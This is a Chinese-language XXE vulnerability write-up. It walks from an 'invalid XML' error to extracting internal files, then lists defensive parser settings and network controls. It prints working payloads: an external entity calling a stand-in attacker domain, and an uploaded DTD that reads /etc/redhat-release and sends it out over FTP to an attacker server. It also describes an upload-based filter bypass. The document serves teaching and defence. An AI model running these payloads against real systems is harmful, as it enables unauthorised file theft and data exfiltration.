XXE漏洞实战：从无效XML到内部文件提取的深度解析

一、XXE漏洞概述

XML External Entity (XXE)漏洞是一种利用XML解析器处理外部实体时的安全缺陷，允许攻击者读取服务器上的任意文件、执行服务器端请求伪造(SSRF)攻击，甚至可能导致远程代码执行。

二、漏洞发现过程

1. 初始线索

• 在业务系统中提交请求时返回"无效的XML"错误信息
• 这表明系统正在处理XML输入，但格式不符合要求
• 这种错误信息往往暗示着XML解析器的存在，是XXE漏洞的潜在入口

2. 初步测试

• 使用基本XXE payload测试XML解析器响应：

<?xml version="1.0" ?>
<!DOCTYPE root [
 <!ENTITY % ext SYSTEM "http://attacker-domain.com/x">
 %ext;
]>
<r></r>

• 观察到DNS请求但无HTTP请求，表明可能存在安全防护措施

三、漏洞利用技术

1. 绕过限制的方法

当直接外部实体引用被阻止时，可采用以下策略：

文件上传+DTD引用

1. 寻找系统文件上传功能（接受pdf、txt、docx等格式）
2. 上传包含恶意DTD的文件到可访问位置（如*.company.com域）
3. 引用上传的DTD文件进行攻击

示例攻击流程：

1. 上传external.dtd文件：

<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://attacker-server:23/%payload;'>">
%int;
%trick;

2. 构造XXE payload引用该DTD：

<?xml version="1.0"?>
<!DOCTYPE root [
 <!ENTITY % dtd SYSTEM "http://upload-server.company.com/external.dtd">
 %dtd;
]>
<r></r>

2. 替代协议利用

当HTTP被阻止时，可尝试其他协议：

• FTP协议：使用ftp://协议外传数据
• Go编写的xxeserv：搭建自定义服务器接收数据

四、关键知识点

1. 检测XXE漏洞存在的迹象

• 系统处理XML输入
• 返回XML解析错误信息
• 观察到DNS查询记录

2. 利用前提条件

• XML解析器启用了外部实体解析
• 能够控制部分XML输入
• 有方法外传数据（直接或间接）

3. 高级利用技术

• 带外数据外传(OOB)：当无法直接回显数据时使用
• 错误信息利用：通过错误消息泄露数据
• 嵌套实体攻击：通过多级实体引用绕过限制

五、防御措施

1. 开发层面

• 禁用XML外部实体处理：
  • Java: DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
  • PHP: libxml_disable_entity_loader(true)
• 使用更安全的解析器配置

2. 运维层面

• 部署WAF规则拦截XXE攻击特征
• 监控异常DNS和网络请求
• 限制服务器出站连接

3. 架构层面

• 实施输入验证和过滤
• 使用JSON等替代数据格式
• 最小化服务器权限

六、实战总结

本案例展示了从简单错误信息到完整漏洞利用的全过程，关键点包括：

1. 从细微线索发现漏洞入口
2. 多种方法测试XML解析器行为
3. 利用系统功能(文件上传)绕过限制
4. 使用替代协议(FTP)实现数据外传
5. 分阶段构造有效攻击载荷

XXE漏洞虽然经典，但在现代Web应用中仍然普遍存在，安全人员应掌握其原理和利用技术，以便有效识别和防御此类威胁。